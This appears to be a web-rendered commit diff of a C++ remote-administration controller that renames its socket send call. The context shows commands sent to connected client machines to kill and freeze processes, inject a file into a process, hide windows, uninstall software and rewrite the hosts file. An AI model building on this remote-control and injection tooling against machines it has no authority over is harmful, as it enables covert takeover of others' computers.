BYTE lpBuffer = COMMAND_MACHINE_PROCESS;
|
BYTE lpBuffer = COMMAND_MACHINE_PROCESS;
|
||||||
m_iocpServer->Send(m_ContextObject, (LPBYTE)&lpBuffer, 1);
|
m_iocpServer->Send2Client(m_ContextObject, (LPBYTE)&lpBuffer, 1);
|
||||||
|
|
||||||
return TRUE;
|
return TRUE;
|
||||||
}
|
}
|
||||||
@@ -333,7 +333,7 @@ void CMachineDlg::reflush()
|
|||||||
int nID = m_tab.GetCurSel();
|
int nID = m_tab.GetCurSel();
|
||||||
DeleteList();
|
DeleteList();
|
||||||
BYTE TOKEN = MachineManager(nID);
|
BYTE TOKEN = MachineManager(nID);
|
||||||
m_iocpServer->Send(m_ContextObject, (LPBYTE)&TOKEN, 1);
|
m_iocpServer->Send2Client(m_ContextObject, (LPBYTE)&TOKEN, 1);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
@@ -800,7 +800,7 @@ void CMachineDlg::SendToken(BYTE bToken)
|
|||||||
lpBuffer[0] = bToken;
|
lpBuffer[0] = bToken;
|
||||||
|
|
||||||
memcpy(lpBuffer + 1, tSerName.GetBuffer(0), tSerName.GetLength() * sizeof(char));
|
memcpy(lpBuffer + 1, tSerName.GetBuffer(0), tSerName.GetLength() * sizeof(char));
|
||||||
m_iocpServer->Send(m_ContextObject, lpBuffer, nPacketLength);
|
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, nPacketLength);
|
||||||
LocalFree(lpBuffer);
|
LocalFree(lpBuffer);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -878,7 +878,7 @@ void CMachineDlg::ShowProcessList_menu()
|
|||||||
lpBuffer[0] = COMMAND_PROCESS_KILLDEL;
|
lpBuffer[0] = COMMAND_PROCESS_KILLDEL;
|
||||||
DWORD dwProcessID = ((ListItem*)m_list.GetItemData(nItem))->pid;
|
DWORD dwProcessID = ((ListItem*)m_list.GetItemData(nItem))->pid;
|
||||||
memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD));
|
memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD));
|
||||||
m_iocpServer->Send(m_ContextObject, lpBuffer, sizeof(DWORD) + 1);
|
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, sizeof(DWORD) + 1);
|
||||||
SAFE_DELETE_AR(lpBuffer);
|
SAFE_DELETE_AR(lpBuffer);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -891,7 +891,7 @@ void CMachineDlg::ShowProcessList_menu()
|
|||||||
lpBuffer[0] = COMMAND_PROCESS_KILL;
|
lpBuffer[0] = COMMAND_PROCESS_KILL;
|
||||||
DWORD dwProcessID = ((ListItem*)m_list.GetItemData(nItem))->pid;
|
DWORD dwProcessID = ((ListItem*)m_list.GetItemData(nItem))->pid;
|
||||||
memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD));
|
memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD));
|
||||||
m_iocpServer->Send(m_ContextObject, lpBuffer, sizeof(DWORD) + 1);
|
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, sizeof(DWORD) + 1);
|
||||||
SAFE_DELETE_AR(lpBuffer);
|
SAFE_DELETE_AR(lpBuffer);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -904,7 +904,7 @@ void CMachineDlg::ShowProcessList_menu()
|
|||||||
lpBuffer[0] = COMMAND_PROCESS_FREEZING;
|
lpBuffer[0] = COMMAND_PROCESS_FREEZING;
|
||||||
DWORD dwProcessID = ((ListItem*)m_list.GetItemData(nItem))->pid;
|
DWORD dwProcessID = ((ListItem*)m_list.GetItemData(nItem))->pid;
|
||||||
memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD));
|
memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD));
|
||||||
m_iocpServer->Send(m_ContextObject, lpBuffer, sizeof(DWORD) + 1);
|
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, sizeof(DWORD) + 1);
|
||||||
SAFE_DELETE_AR(lpBuffer);
|
SAFE_DELETE_AR(lpBuffer);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -917,7 +917,7 @@ void CMachineDlg::ShowProcessList_menu()
|
|||||||
lpBuffer[0] = COMMAND_PROCESS_THAW;
|
lpBuffer[0] = COMMAND_PROCESS_THAW;
|
||||||
DWORD dwProcessID = ((ListItem*)m_list.GetItemData(nItem))->pid;
|
DWORD dwProcessID = ((ListItem*)m_list.GetItemData(nItem))->pid;
|
||||||
memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD));
|
memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD));
|
||||||
m_iocpServer->Send(m_ContextObject, lpBuffer, sizeof(DWORD) + 1);
|
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, sizeof(DWORD) + 1);
|
||||||
SAFE_DELETE_AR(lpBuffer);
|
SAFE_DELETE_AR(lpBuffer);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -930,7 +930,7 @@ void CMachineDlg::ShowProcessList_menu()
|
|||||||
lpBuffer[0] = COMMAND_PROCESS_DEL;
|
lpBuffer[0] = COMMAND_PROCESS_DEL;
|
||||||
DWORD dwProcessID = ((ListItem*)m_list.GetItemData(nItem))->pid;
|
DWORD dwProcessID = ((ListItem*)m_list.GetItemData(nItem))->pid;
|
||||||
memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD));
|
memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD));
|
||||||
m_iocpServer->Send(m_ContextObject, lpBuffer, sizeof(DWORD) + 1);
|
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, sizeof(DWORD) + 1);
|
||||||
SAFE_DELETE_AR(lpBuffer);
|
SAFE_DELETE_AR(lpBuffer);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -967,7 +967,7 @@ void CMachineDlg::ShowProcessList_menu()
|
|||||||
DWORD wr = 0;
|
DWORD wr = 0;
|
||||||
ReadFile(hFile, lpBuffer + sizeof(InjectData)+1, p_InjectData->datasize, &wr, NULL);
|
ReadFile(hFile, lpBuffer + sizeof(InjectData)+1, p_InjectData->datasize, &wr, NULL);
|
||||||
CloseHandle(hFile);
|
CloseHandle(hFile);
|
||||||
m_iocpServer->Send(m_ContextObject, lpBuffer, allsize);
|
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, allsize);
|
||||||
SAFE_DELETE_AR(lpBuffer);
|
SAFE_DELETE_AR(lpBuffer);
|
||||||
}
|
}
|
||||||
SAFE_DELETE(p_InjectData);
|
SAFE_DELETE(p_InjectData);
|
||||||
@@ -1041,7 +1041,7 @@ void CMachineDlg::ShowWindowsList_menu()
|
|||||||
memcpy(lpMsgBuf + 1, &hwnd, sizeof(DWORD));
|
memcpy(lpMsgBuf + 1, &hwnd, sizeof(DWORD));
|
||||||
DWORD dHow = SW_RESTORE;
|
DWORD dHow = SW_RESTORE;
|
||||||
memcpy(lpMsgBuf + 1 + sizeof(hwnd), &dHow, sizeof(DWORD));
|
memcpy(lpMsgBuf + 1 + sizeof(hwnd), &dHow, sizeof(DWORD));
|
||||||
m_iocpServer->Send(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
|
m_iocpServer->Send2Client(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
break;
|
break;
|
||||||
@@ -1056,7 +1056,7 @@ void CMachineDlg::ShowWindowsList_menu()
|
|||||||
memcpy(lpMsgBuf + 1, &hwnd, sizeof(DWORD));
|
memcpy(lpMsgBuf + 1, &hwnd, sizeof(DWORD));
|
||||||
DWORD dHow = SW_HIDE;
|
DWORD dHow = SW_HIDE;
|
||||||
memcpy(lpMsgBuf + 1 + sizeof(hwnd), &dHow, sizeof(DWORD));
|
memcpy(lpMsgBuf + 1 + sizeof(hwnd), &dHow, sizeof(DWORD));
|
||||||
m_iocpServer->Send(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
|
m_iocpServer->Send2Client(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
break;
|
break;
|
||||||
@@ -1070,7 +1070,7 @@ void CMachineDlg::ShowWindowsList_menu()
|
|||||||
DWORD hwnd = _tstoi(m_list.GetItemText(nItem, 1));
|
DWORD hwnd = _tstoi(m_list.GetItemText(nItem, 1));
|
||||||
m_list.SetItemText(nItem, 3, _T("<EFBFBD><EFBFBD><EFBFBD>ر<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"));
|
m_list.SetItemText(nItem, 3, _T("<EFBFBD><EFBFBD><EFBFBD>ر<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"));
|
||||||
memcpy(lpMsgBuf + 1, &hwnd, sizeof(DWORD));
|
memcpy(lpMsgBuf + 1, &hwnd, sizeof(DWORD));
|
||||||
m_iocpServer->Send(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
|
m_iocpServer->Send2Client(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
break;
|
break;
|
||||||
@@ -1085,7 +1085,7 @@ void CMachineDlg::ShowWindowsList_menu()
|
|||||||
memcpy(lpMsgBuf + 1, &hwnd, sizeof(DWORD));
|
memcpy(lpMsgBuf + 1, &hwnd, sizeof(DWORD));
|
||||||
DWORD dHow = SW_MAXIMIZE;
|
DWORD dHow = SW_MAXIMIZE;
|
||||||
memcpy(lpMsgBuf + 1 + sizeof(hwnd), &dHow, sizeof(DWORD));
|
memcpy(lpMsgBuf + 1 + sizeof(hwnd), &dHow, sizeof(DWORD));
|
||||||
m_iocpServer->Send(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
|
m_iocpServer->Send2Client(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
break;
|
break;
|
||||||
@@ -1100,7 +1100,7 @@ void CMachineDlg::ShowWindowsList_menu()
|
|||||||
memcpy(lpMsgBuf + 1, &hwnd, sizeof(DWORD));
|
memcpy(lpMsgBuf + 1, &hwnd, sizeof(DWORD));
|
||||||
DWORD dHow = SW_MINIMIZE;
|
DWORD dHow = SW_MINIMIZE;
|
||||||
memcpy(lpMsgBuf + 1 + sizeof(hwnd), &dHow, sizeof(DWORD));
|
memcpy(lpMsgBuf + 1 + sizeof(hwnd), &dHow, sizeof(DWORD));
|
||||||
m_iocpServer->Send(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
|
m_iocpServer->Send2Client(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
break;
|
break;
|
||||||
@@ -1114,7 +1114,7 @@ void CMachineDlg::ShowWindowsList_menu()
|
|||||||
pid = m_list.GetItemText(nItem, 0);
|
pid = m_list.GetItemText(nItem, 0);
|
||||||
DWORD dwProcessID = _tstoi(pid);
|
DWORD dwProcessID = _tstoi(pid);
|
||||||
memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD));
|
memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD));
|
||||||
m_iocpServer->Send(m_ContextObject, lpBuffer, sizeof(DWORD) + 1);
|
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, sizeof(DWORD) + 1);
|
||||||
SAFE_DELETE_AR(lpBuffer);
|
SAFE_DELETE_AR(lpBuffer);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -1129,7 +1129,7 @@ void CMachineDlg::ShowWindowsList_menu()
|
|||||||
pid = m_list.GetItemText(nItem, 0);
|
pid = m_list.GetItemText(nItem, 0);
|
||||||
DWORD dwProcessID = _tstoi(pid);
|
DWORD dwProcessID = _tstoi(pid);
|
||||||
memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD));
|
memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD));
|
||||||
m_iocpServer->Send(m_ContextObject, lpBuffer, sizeof(DWORD) + 1);
|
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, sizeof(DWORD) + 1);
|
||||||
SAFE_DELETE_AR(lpBuffer);
|
SAFE_DELETE_AR(lpBuffer);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -1144,7 +1144,7 @@ void CMachineDlg::ShowWindowsList_menu()
|
|||||||
pid = m_list.GetItemText(nItem, 0);
|
pid = m_list.GetItemText(nItem, 0);
|
||||||
DWORD dwProcessID = _tstoi(pid);
|
DWORD dwProcessID = _tstoi(pid);
|
||||||
memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD));
|
memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD));
|
||||||
m_iocpServer->Send(m_ContextObject, lpBuffer, sizeof(DWORD) + 1);
|
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, sizeof(DWORD) + 1);
|
||||||
SAFE_DELETE_AR(lpBuffer);
|
SAFE_DELETE_AR(lpBuffer);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -1201,7 +1201,7 @@ void CMachineDlg::ShowNetStateList_menu()
|
|||||||
lpBuffer[0] = COMMAND_PROCESS_KILL;
|
lpBuffer[0] = COMMAND_PROCESS_KILL;
|
||||||
DWORD dwProcessID = ((ListItem*)m_list.GetItemData(nItem))->pid;
|
DWORD dwProcessID = ((ListItem*)m_list.GetItemData(nItem))->pid;
|
||||||
memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD));
|
memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD));
|
||||||
m_iocpServer->Send(m_ContextObject, lpBuffer, sizeof(DWORD) + 1);
|
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, sizeof(DWORD) + 1);
|
||||||
SAFE_DELETE_AR(lpBuffer);
|
SAFE_DELETE_AR(lpBuffer);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -1270,7 +1270,7 @@ void CMachineDlg::ShowSoftWareList_menu()
|
|||||||
LPBYTE lpBuffer = new BYTE[1 + str_a.GetLength()];
|
LPBYTE lpBuffer = new BYTE[1 + str_a.GetLength()];
|
||||||
lpBuffer[0] = COMMAND_APPUNINSTALL;
|
lpBuffer[0] = COMMAND_APPUNINSTALL;
|
||||||
memcpy(lpBuffer + 1, str_a.GetBuffer(0), str_a.GetLength());
|
memcpy(lpBuffer + 1, str_a.GetBuffer(0), str_a.GetLength());
|
||||||
m_iocpServer->Send(m_ContextObject, lpBuffer, str_a.GetLength() + 1);
|
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, str_a.GetLength() + 1);
|
||||||
SAFE_DELETE_AR(lpBuffer);
|
SAFE_DELETE_AR(lpBuffer);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -1366,7 +1366,7 @@ void CMachineDlg::ShowTaskList_menu()
|
|||||||
memcpy(lpBuffer + offset, taskname.GetBuffer(), lstrlen(taskname.GetBuffer()) * 2 + 2);
|
memcpy(lpBuffer + offset, taskname.GetBuffer(), lstrlen(taskname.GetBuffer()) * 2 + 2);
|
||||||
offset += lstrlen(taskname.GetBuffer()) * 2 + 2;
|
offset += lstrlen(taskname.GetBuffer()) * 2 + 2;
|
||||||
|
|
||||||
m_iocpServer->Send(m_ContextObject, lpBuffer, nPacketLength);
|
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, nPacketLength);
|
||||||
|
|
||||||
LocalFree(lpBuffer);
|
LocalFree(lpBuffer);
|
||||||
}
|
}
|
||||||
@@ -1394,7 +1394,7 @@ void CMachineDlg::ShowTaskList_menu()
|
|||||||
memcpy(lpBuffer + offset, taskname.GetBuffer(), lstrlen(taskname.GetBuffer()) * 2 + 2);
|
memcpy(lpBuffer + offset, taskname.GetBuffer(), lstrlen(taskname.GetBuffer()) * 2 + 2);
|
||||||
offset += lstrlen(taskname.GetBuffer()) * 2 + 2;
|
offset += lstrlen(taskname.GetBuffer()) * 2 + 2;
|
||||||
|
|
||||||
m_iocpServer->Send(m_ContextObject, lpBuffer, nPacketLength);
|
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, nPacketLength);
|
||||||
|
|
||||||
LocalFree(lpBuffer);
|
LocalFree(lpBuffer);
|
||||||
}
|
}
|
||||||
@@ -1422,7 +1422,7 @@ void CMachineDlg::ShowTaskList_menu()
|
|||||||
memcpy(lpBuffer + offset, taskname.GetBuffer(), lstrlen(taskname.GetBuffer()) * 2 + 2);
|
memcpy(lpBuffer + offset, taskname.GetBuffer(), lstrlen(taskname.GetBuffer()) * 2 + 2);
|
||||||
offset += lstrlen(taskname.GetBuffer()) * 2 + 2;
|
offset += lstrlen(taskname.GetBuffer()) * 2 + 2;
|
||||||
|
|
||||||
m_iocpServer->Send(m_ContextObject, lpBuffer, nPacketLength);
|
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, nPacketLength);
|
||||||
|
|
||||||
LocalFree(lpBuffer);
|
LocalFree(lpBuffer);
|
||||||
}
|
}
|
||||||
@@ -1454,7 +1454,7 @@ void CMachineDlg::ShowTaskList_menu()
|
|||||||
|
|
||||||
memcpy(lpBuffer + offset, dlg->m_Description.GetBuffer(), lstrlen(dlg->m_Description.GetBuffer()) * 2 + 2);
|
memcpy(lpBuffer + offset, dlg->m_Description.GetBuffer(), lstrlen(dlg->m_Description.GetBuffer()) * 2 + 2);
|
||||||
offset += lstrlen(dlg->m_Description.GetBuffer()) * 2 + 2;
|
offset += lstrlen(dlg->m_Description.GetBuffer()) * 2 + 2;
|
||||||
m_iocpServer->Send(m_ContextObject, lpBuffer, len);
|
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, len);
|
||||||
|
|
||||||
LocalFree(lpBuffer);
|
LocalFree(lpBuffer);
|
||||||
}
|
}
|
||||||
@@ -1465,7 +1465,7 @@ void CMachineDlg::ShowTaskList_menu()
|
|||||||
break;
|
break;
|
||||||
case 104: {
|
case 104: {
|
||||||
BYTE bToken = COMMAND_MACHINE_TASK;
|
BYTE bToken = COMMAND_MACHINE_TASK;
|
||||||
m_iocpServer->Send(m_ContextObject, &bToken, 1);
|
m_iocpServer->Send2Client(m_ContextObject, &bToken, 1);
|
||||||
}
|
}
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
@@ -1560,7 +1560,7 @@ void CMachineDlg::ShowServiceList_menu()
|
|||||||
bToken = COMMAND_SERVICE_LIST_WIN32;
|
bToken = COMMAND_SERVICE_LIST_WIN32;
|
||||||
else
|
else
|
||||||
bToken = COMMAND_SERVICE_LIST_DRIVER;
|
bToken = COMMAND_SERVICE_LIST_DRIVER;
|
||||||
m_iocpServer->Send(m_ContextObject, &bToken, sizeof(BYTE));
|
m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE));
|
||||||
}
|
}
|
||||||
break;
|
break;
|
||||||
case 700:
|
case 700:
|
||||||
@@ -1630,7 +1630,7 @@ void CMachineDlg::ShowHostsList_menu()
|
|||||||
LPBYTE lpBuffer = new BYTE[1 + Data_a.GetLength()];
|
LPBYTE lpBuffer = new BYTE[1 + Data_a.GetLength()];
|
||||||
lpBuffer[0] = COMMAND_HOSTS_SET;
|
lpBuffer[0] = COMMAND_HOSTS_SET;
|
||||||
memcpy(lpBuffer + 1, Data_a.GetBuffer(0), Data_a.GetLength());
|
memcpy(lpBuffer + 1, Data_a.GetBuffer(0), Data_a.GetLength());
|
||||||
m_iocpServer->Send(m_ContextObject, lpBuffer, Data_a.GetLength() + 1);
|
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, Data_a.GetLength() + 1);
|
||||||
SAFE_DELETE_AR(lpBuffer);
|
SAFE_DELETE_AR(lpBuffer);
|
||||||
}
|
}
|
||||||
break;
|
break;
|
||||||
|
|||||||
@@ -13,7 +13,7 @@
|
|||||||
class CMachineDlg : public DialogBase
|
class CMachineDlg : public DialogBase
|
||||||
{
|
{
|
||||||
public:
|
public:
|
||||||
CMachineDlg(CWnd* pParent = NULL, ISocketBase* pIOCPServer = NULL, ClientContext* pContext = NULL);
|
CMachineDlg(CWnd* pParent = NULL, Server* pIOCPServer = NULL, ClientContext* pContext = NULL);
|
||||||
~CMachineDlg();
|
~CMachineDlg();
|
||||||
|
|
||||||
enum { IDD = IDD_MACHINE };
|
enum { IDD = IDD_MACHINE };
|
||||||
|
|||||||
@@ -82,7 +82,7 @@ void CServiceInfoDlg::SendToken(BYTE bToken)
|
|||||||
lpBuffer[0] = bToken;
|
lpBuffer[0] = bToken;
|
||||||
|
|
||||||
memcpy(lpBuffer + 1, m_ServiceInfo.strSerName.GetBuffer(0), m_ServiceInfo.strSerName.GetLength());
|
memcpy(lpBuffer + 1, m_ServiceInfo.strSerName.GetBuffer(0), m_ServiceInfo.strSerName.GetLength());
|
||||||
m_iocpServer->Send(m_ContextObject, lpBuffer, nPacketLength);
|
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, nPacketLength);
|
||||||
LocalFree(lpBuffer);
|
LocalFree(lpBuffer);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -19,7 +19,7 @@ public:
|
|||||||
CServiceInfoDlg(CWnd* pParent = NULL);
|
CServiceInfoDlg(CWnd* pParent = NULL);
|
||||||
|
|
||||||
ClientContext* m_ContextObject;
|
ClientContext* m_ContextObject;
|
||||||
ISocketBase* m_iocpServer;
|
Server* m_iocpServer;
|
||||||
|
|
||||||
enum { IDD = IDD_SERVICE_INFO };
|
enum { IDD = IDD_SERVICE_INFO };
|
||||||
CComboBox m_combox_runway;
|
CComboBox m_combox_runway;
|
||||||
|
|||||||
Reference in New Issue
Block a user